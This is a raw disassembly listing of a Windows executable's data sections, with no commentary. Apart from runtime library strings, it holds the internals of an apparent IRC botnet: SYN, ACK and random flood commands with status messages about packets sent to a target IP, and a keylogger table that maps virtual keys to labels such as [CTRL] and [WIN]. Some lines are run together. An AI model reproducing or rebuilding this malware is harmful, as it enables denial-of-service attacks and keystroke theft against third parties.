align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_4383BCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CEF9+119o
align 10h
asc_421B40 db 0Ah ; DATA XREF: sub_41CEF9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CEF9+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41CEF9+BFo
aProgramNameUnk db '<program name unknown>',0
align 10h
dword_421B80 dd 0FFFFFFFFh, 41D2D0h, 41D2D4haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41E142+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6CE+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6CE+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6CE+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41EFE4:loc_41F0D9o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41EFE4+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41EFE4+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41EFE4+ADo
align 10h
dword_421C20 dd 0FFFFFFFFh, 41F9DCh, 41F9E0h, 0FFFFFFFFh, 41FA4Bh, 41FA4Fh
; DATA XREF: sub_41F825+5o
dd 421D40h
off_421C3C dd offset loc_41FF88 ; DATA XREF: sub_41FD90+4Do
; sub_41FFA4+Co
dd offset sub_41FE4E
dd offset sub_41FF6B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FD90+1Eo
dd offset dword_421D78
off_421C5C dd offset loc_41FEB5 ; DATA XREF: sub_41FDEA+4Eo
; sub_41FE78+11o ...
dd offset sub_41FE4E
dd offset sub_41FE5B
dd offset dword_421DC8
off_421C6C dd offset loc_420070 ; DATA XREF: sub_41FFBC+4Do
; sub_42008C+Co
dd offset sub_41FE4E
dd offset sub_420053
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFBC+1Eo
dd offset dword_421DF8
off_421C94 dd offset sub_4200F2 ; DATA XREF: sub_42010E+8o
; sub_42014B+8o ...
dd offset sub_4201AB
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4201AB+7o
align 10h
dd offset dword_421E40
off_421CB4 dd offset loc_4201CD ; DATA XREF: sub_4201B8o
; seg002:off_438AE0o ...
dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_421CD8 dd offset off_438AE0 ; DATA XREF: seg001:00421D28o
; seg001:00421D5Co ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_421CF0 dd offset off_438AF8 ; DATA XREF: seg001:00421D24o
; seg001:00421D58o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_421D08 dd offset off_438B18 ; DATA XREF: seg001:00421D20o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D08
dd offset off_421CF0
dd offset off_421CD8
dword_421D2C dd 3 dup(0) dd 3, 421D20h, 3 dup(0)
dd offset off_438B18
dd offset dword_421D2C+4
align 8
dd offset off_421CF0
dd offset off_421CD8
dword_421D60 dd 4 dup(0) dd 2, 421D58h
dword_421D78 dd 3 dup(0) dd offset off_438AF8
dd offset dword_421D60+8
align 10h
off_421D90 dd offset off_438B38 ; DATA XREF: seg001:00421DA8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D90
dd offset off_421CF0
dd offset off_421CD8
dd 0
db 0 ; DATA XREF: seg001:00421DD8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 421DA8h
dword_421DC8 dd 3 dup(0) dd offset off_438B38
dd offset unk_421DB8
dd offset off_421CD8
dword_421DE0 dd 4 dup(0) dd 1, 421DDCh
dword_421DF8 dd 3 dup(0) dd offset off_438AE0
dd offset dword_421DE0+8
align 10h
off_421E10 dd offset off_438B58 ; DATA XREF: seg001:00421E28o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421E10
dword_421E2C dd 3 dup(0) dd 1, 421E28h
dword_421E40 dd 3 dup(0) dd offset off_438B58
dd offset dword_421E2C+4
align 8
dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) dd 0FFFFFFFFh, 42022Ch, 0
dd offset sub_420224
dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) dd 0FFFFFFFFh, 420250h, 0
dd offset loc_420258
dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0)
; DATA XREF: seg000:loc_42026Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 421F00h, 4 dup(0)
dd offset loc_404E38
dd 0
dd offset off_438AE0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 42014Bh, 2 dup(0)
dd offset off_438AF8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FED1h, 2 dup(0)
dd offset off_438B18
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FFA4h, 0
dword_421F70 dd 3, 421F50h, 421F30h, 421F10hdword_421F80 dd 0 ; sub_41FF6B+12o
dd offset sub_41FF2E
dd 0
dd offset dword_421F70
dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) dd 0FFFFFFFFh, 420278h
dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8 dd 0FFFFFFFFh, 42028Ch, 2, 421F30h, 421F10h, 0dword_421FF0 dd 0 dd offset sub_41FE78
dd 0
dd offset dword_421FD8+8
dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) dd 0FFFFFFFFh, 4202A0h
dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) dd 0FFFFFFFFh, 4202B4h
dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) dd 0FFFFFFFFh, 4202C8h, 0
dd offset off_438B38
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 42008Ch, 0
dword_422098 dd 3, 422078h, 421F30h, 421F10hdword_4220A8 dd 0 ; sub_420053+12o
dd offset sub_420016
dd 0
dd offset dword_422098
dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) dd 0FFFFFFFFh, 4202DCh
dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) dd 0FFFFFFFFh, 4202F0h, 222F0h, 2 dup(0)
dd 2233Ch, 211ACh, 22144h, 2 dup(0)
dd 22AC8h, 21000h, 5 dup(0)
dd 3FD0687h, 70916589h, 3A1D9CE3h, 7120A3EDh, 2D128B6Fh
dd 0F88C7F28h, 0CB9AFDD5h, 9767638Ch, 1380686Ch, 0B0861471h
dd 1618889Dh, 0F8C4B58Eh, 4223E857h, 3B5FAB78h, 0E7D22354h
dd 312F850Ch, 0B5360463h, 0E67ED996h, 0F346F9C9h, 24C8C896h
dd 60FCCBD6h, 99845179h, 14B85346h, 342AF1A4h, 965C256Eh
dd 0E4A365ADh, 0D51A11A3h, 0A20F1DC1h, 0B9CAED48h, 10C58BF5h
dd 189BE98Dh, 38650DB2h, 0CB9F83DCh, 1000F1F1h, 0CEA19A54h
dd 96676409h, 0F70C4880h, 70B3A79Fh, 19E70FCBh, 79CF960Bh
dd 56BEBA2Ch, 3DE6D0Ah, 0A93A00E3h, 0F843D6D1h, 84AFAA16h
dd 0A43ADFB5h, 0D94A8977h, 0D172F228h, 5AFEF573h, 0F8A0BAh
dd 0FD404E1Dh, 0C8BD3FDh, 5F90FA06h, 0C3B31AEAh, 6326AD7h
dd 41FC8FAAh, 285CB4B2h, 77BEFE09h, 8226C2h, 3A767A1Dh
dd 1E272705h, 12006F11h, 0F9B50D8Ch, 9D408A57h, 0A9D44FA1h
dd 7841398Ch, 73DC825h, 3F019023h, 6BFEAE4Fh, 446681Ah
dd 874224F6h, 5BC0BD19h, 28DEA280h, 953EC3E6h, 0C27F4AE1h
dd 5876BE3Ah, 9A7687A2h, 0BAE77008h, 0FEB3EB88h, 5764969Fh
dd 5E9F4955h, 0DF3492Dh, 89075FCEh, 0A4920FAh, 0B225B7ABh
dd 3D953597h, 2A4CBE1Fh, 0E6F07377h, 0A6BEFAF6h, 0EDF59F61h
dd 89082F3Dh, 75473BAAh, 0D5FE4776h, 5072D902h, 0B3C0A01Fh
dd 715ABB16h, 112C6044h, 2D2F7248h, 2C78214Dh, 0B22A1686h
dd 3210E30Ah, 8ACE497Eh, 135F8D09h, 753918DFh, 7A4A43D9h
dd 96370CD1h, 0
dd 2D7A1212h, 993A83E8h, 0D5604EB5h, 2C579A18h, 2905C1B2h
dd 0ED5B8B00h, 5F8408Bh, 0D7F7BE1Eh, 101410E1h, 84BD287Ch
dd 73D5C8A6h, 361BB5C7h, 0A688BF92h, 0E72B3FB1h, 49390AF4h
dd 6F5B0FA4h, 0B8507CEh, 0B1D4FACBh, 0
; ---------------------------------------------------------------------------
adc ch, dl
mov edx, 0BBF0FE9Bh
mov ecx, 0C99Eh
jle short $+2
retf 833Eh
; ---------------------------------------------------------------------------
db 6Eh, 0D3h, 0C4h
dd 4BABF136h, 16D0000h, 0A5142E09h, 0B1D258F0h, 0B899624Bh
dd 2060000h, 91D2C072h, 59A35F9Dh, 0AB544A85h, 3BD3ED84h
dd 0C450B640h, 6AB50Fh, 63BA0207h, 91AB4170h, 0B4630161h
dd 0D087F1CAh, 5FED6DB1h, 0AD60587Bh, 95F141h, 6E220159h
dd 0CA6EE075h, 8D3395B2h, 89F6F679h, 9AEEFA8Dh, 11B0017h
dd 0F9F4DA53h, 0CCB8517Bh, 0B0BA40EDh, 2960000h, 9F9D0E58h
dd 1E400AEh, 986B1A69h, 389E413h, 7B95A358h, 0A8CD46E4h
dd 0C9D3C7h, 3A2E0218h, 2538961h, 11F8h, 63A001Bh, 5A5A57A1h
dd 1D54F28Ah, 2DF005Eh, 0C61D7C24h, 13759354h, 2A700BAh
dd 0BCD8947Bh, 0F113E25Eh, 1068C7D4h, 0E156DA67h, 340044h
dd 0E9649261h, 256C68CAh, 8AF353h, 0BE960124h, 8AFB0CCDh
dd 0B9781726h, 441EF28h, 731DCD64h, 16E0000h, 7E63B866h
dd 0B7319EB8h, 0A0EC5295h, 2048h, 56B900FBh, 0A83DC5F5h
dd 16F06180h, 46A13E75h, 11A0000h, 8D04D975h, 0AEBE5592h
dd 80E0BDD3h, 4A0000h, 0F78CF35Dh, 17FE1E89h, 3057DE86h
dd 1120000h, 2EBD098h, 977BF401h, 0AA4F5Ah, 9820010Dh
dd 2E042375h, 1E23402h, 0B940D152h, 45EF63B8h, 900000h
dd 0CC98309Bh, 0CE81854Eh, 8A00C7h, 0D59BC364h, 0CA7E6307h
dd 68EA9AF6h, 9CB44A28h, 91C46FF2h, 890000h, 9261E744h
dd 2CF94DCAh, 0C1E7AC8h, 0A9C9832Fh, 0EA6DDDD5h, 0B40371h
dd 6704009Dh, 32C6AFBDh, 0CE63E11Ah, 5AA754h, 0F0510094h
dd 5C965995h, 34247631h, 0DB25908h, 26A0000h, 1A3313B3h
dd 0FB0019D1h, 1CAE5A45h, 0F5B3h, 0B0D701C1h, 0C1F71518h
dd 0EB49442Fh, 0D4CF4F0h, 0B660B41Fh, 0AA13h, 0F4E40066h
dd 33B935Eh, 69F1C2F6h, 0FD0E7354h, 91EA261Fh, 0C216h
dd 104101ABh, 7EFD04FBh, 0E3F6D20Dh, 0ED25A6BFh, 80B98885h
dd 0B4982D13h, 0D93454D7h, 0DF809B83h, 0B2E1AE66h, 451CCCh
dd 73DF0055h, 0B4A77762h, 5E47CFF5h, 4C89C39Ch, 527E3C3h
dd 0F4BC83h, 5F601C2h, 7D27136Bh, 0D203ABA5h, 0DE05h, 0B74B013Eh
dd 4A54520Bh, 24434530h, 31C75BCCh, 1260000h, 0DBB7D59Ah
dd 0EFB93936h, 27C21DCh, 47AD4A38h, 0AF0000h, 0B097E3BAh
dd 0F7F845D1h, 0EF9C49EBh, 976Ch, 76A10193h, 5882CCCh
dd 71A35F90h, 7EADh, 0F56B018Ch, 0A4026C5Ah, 0E256D7D6h
dd 2B00000h, 8E89D8DAh, 0EF995545h, 0EF6A6342h, 3EEEE4h
dd 4B1901D6h, 83837B03h, 0E0139137h, 2E4A71h, 2F040035h
dd 0E5BCA105h, 6F709AE1h, 0AA46A445h, 0B67669A1h, 26C0000h
dd 5F3D482Fh, 0AC94C10h, 258382h, 0E6A20114h, 0DAB1FE91h
dd 6B81BAB5h, 4400D1h, 0D34E7154h, 0CC5AA22Bh, 43D4C8Ch
dd 8302h, 1470080h, 99C270Ah, 0DCDDCF46h, 0AD419B3h, 0FE863D09h
dd 97E6ECACh, 2CE73Fh, 48060268h, 8DA578D5h, 0ECF08934h
dd 0B0C2537Bh, 4A72A9E4h, 1650000h, 0FC253816h, 0E731A342h
dd 23BE63AFh, 10B0000h, 9B2089A7h, 0E1C20865h, 62B5F269h
dd 0E94723B3h, 6248h, 7C2C01F9h, 0E974B29h, 0D0B9B8B4h
dd 64247Dh, 0DE010063h, 0C6413DA0h, 0E35E2AC7h, 84D2A9Ah
dd 0F7000Bh, 16F80E37h, 41A8A5EBh, 0D6374626h, 362614AEh
dd 43003Ch, 3F8D2114h, 755FDC9Dh, 0C8BFh, 4EC60175h, 971C3784h
dd 3376ECF9h, 6F4605h, 0A8C9018Dh, 5D54C57Bh, 48C089B0h
dd 0A78CA77Fh, 88941C2h, 7D0000h, 96E1D17Ch, 0D3A38145h
dd 3106B2h, 0F3A70057h, 0D3EF2263h, 26CE0110h, 1EF0058h
dd 0A8342338h, 70D31A89h, 0E7ACF0h, 0E17700F8h, 0E9F06662h
dd 47D9A349h, 7D721905h, 822EB4Ch, 280099h, 4D6356ECh
dd 0EAD074CEh, 2CE00E1h, 0E7D82F9Dh, 0DB69DB9Bh, 0FBF46BE6h
dd 2951BF1h, 550365h, 3CB3003Fh, 5CF96E59h, 0F25A25CCh
dd 0ECBAh, 0ED55029Fh, 0F0525B38h, 7BF3D624h, 403A506Ah
dd 1DD00CBh, 251ED11Bh, 0BC3589E5h, 2D2009Bh, 1A018179h
dd 993ECB0Ch, 999EA6C8h, 80FA3825h, 0DD6CBEh, 15A400CEh
dd 1652B911h, 0AD0F10B6h, 0B53D7D5Bh, 0A59Ch, 9E7F029Eh
dd 18BF828h, 251A212Dh, 7C78ABFEh, 0A770h, 0B123011Ch
dd 7804B6ECh, 0DE5D69BAh, 7A8A3E9Bh, 1200000h, 0AC6A1979h
dd 5D9BB67Bh, 5DA5BB59h, 0EF1E6033h, 1990000h, 87DC2AB3h
dd 0DCCA3979h, 19F0010h, 4EA47C37h, 0FA116620h, 22F0000h
dd 0B26F557Dh, 0E4AE2FEDh, 1700028h, 4506B6D1h, 9EA6A4Dh
dd 0E06FD7FDh, 0C05D4D40h, 8131C7AEh, 0F581h, 55A3015Dh
dd 0A4D8E4A2h, 79BD71D6h, 5D6EBBh, 4F4A01A2h, 92159D9h
dd 801BDE85h, 150005Fh, 57274009h, 5B27D8Dh, 7A79DEC3h
dd 0BA2311h, 89B700CAh, 4997CDA3h, 0D4C3C2F5h, 40A7CAE5h
dd 17400A1h, 28767A79h, 97CA1B70h, 7C93h, 389C019Dh, 93ED1585h
dd 0C0BD7669h, 19B0067h, 7909E544h, 796F9C28h, 9D22h, 9E0A02BFh
dd 0AD7E147h, 0AC4914EFh, 2BB008Ch, 0A685B597h, 0C204FAEEh
dd 605B6454h, 1B80000h, 0D270333Fh, 0F91C1039h, 137D25FDh
dd 20B00C4h, 82DFD72Bh, 2D2A2E68h, 9A161ABBh, 262Bh, 453901A3h
dd 6D01D316h, 0FE6Eh, 130901BFh, 0A7DF9CFEh, 924D6921h
dd 0D3Ah, 219801C0h, 0F6C9844Ch, 6AFADB6Bh, 0C2B3h, 0D22700BFh
dd 0B32428B5h, 1CE14Fh, 693400B9h, 0E11011BAh, 1310000h
dd 67E000DFh, 4102493Fh, 2AD0000h, 198386B4h, 259D3CF5h
dd 0F13C5972h, 31ACBEDAh, 5ADEE32Ch, 11BCB865h, 0B20000h
dd 69FE618Bh, 4E2B5409h, 5A2392F2h, 0E7B7B2A1h, 0DB63C533h
dd 0D5DD03h, 0F56100B3h, 158812C3h, 9103372Dh, 63E339BCh
dd 174EAD26h, 58A0A536h, 10600FBh, 2EFB3CF7h, 83B55BC1h
dd 0BBA31072h, 0A02FFD07h, 0D4E15524h, 1080035h, 667B4459h
dd 90888137h, 0A5120996h, 9E4ED991h, 0E62EA979h, 997Dh
dd 0BF7B026Dh, 0F072147h, 72E4D392h, 56E8ABD1h, 1520000h
dd 6B43049Ah, 2290C095h, 56230524h, 1150000h, 0E08AB929h
dd 511D27F8h, 8B19BAh, 68020153h, 8976A326h, 14EDF120h
dd 14B7E468h, 1560000h, 0B2C72594h, 9296566Ch, 8DA5D42h
dd 164Ch, 86FA027Ch, 5CF9D6F4h, 11D379CBh, 8A42h, 9F9300AAh
dd 0F52D31DAh, 0E1EA081Ch, 0F5CA5B6Ah, 3B72h, 0BDBD028Bh
dd 321D77D7h, 764F6DF2h, 80374F67h, 9F4B8341h, 3AA393DCh
dd 6F9A56BDh, 1B500E4h, 6A20CF5Ch, 0D9284D20h, 0F3FD5483h
dd 1B20000h, 0F9C5030Ah, 57D59716h, 0B3691C4Ch, 2610000h
dd 4EDBD023h, 0EF095612h, 5D1D3F12h, 210000h, 813C7004h
dd 7FA6DF6h, 70C5C194h, 0CAB6h, 0C71D0022h, 6A3865A1h
dd 6D5EE776h, 634C159h, 2620000h, 0A0669F24h, 6BDDD862h
dd 46BDB251h, 0DEC7CCD3h, 89251DA4h, 0EA42C0h, 30ED36D4h
dd 0AD2F8341h, 0EB5C17DCh, 14Bh dup(0)
seg001 ends
; Section 3. (virtual address 00023000)
; Virtual size : 00048000 ( 294912.)
; Section size in file : 00048000 ( 294912.)
; Offset to raw data for section: 00023000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg002 segment para public 'CODE' use32
assume cs:seg002
;org 423000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_423000 dd 0 dd offset sub_4036CF
dd offset sub_404EE6
dd offset sub_4200A4
dword_423010 dd 0 dword_423014 dd 0 dd offset sub_416832
dd offset sub_41C364
dd offset sub_41D0B6
dd offset sub_41DF28
dword_423028 dd 0 dword_42302C dd 0 dd offset sub_41D15B
dword_423034 dd 0 dword_423038 dd 0 dd offset sub_41DF39
dword_423040 dd 4 dup(0) unk_423050 db 2 ; DATA XREF: start+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42308C db 2 ; DATA XREF: seg000:004013B4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
unk_4231E0 db 2 ; DATA XREF: seg000:00401509o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C db 2 ; DATA XREF: seg000:00401490o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+4EBo
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+44Fo
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o
; seg000:0040F961o ...
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o
; seg000:0040F94Ao
aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o
; seg000:0040F932o
dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+15Fo
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+EEo
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+70o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: seg000:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
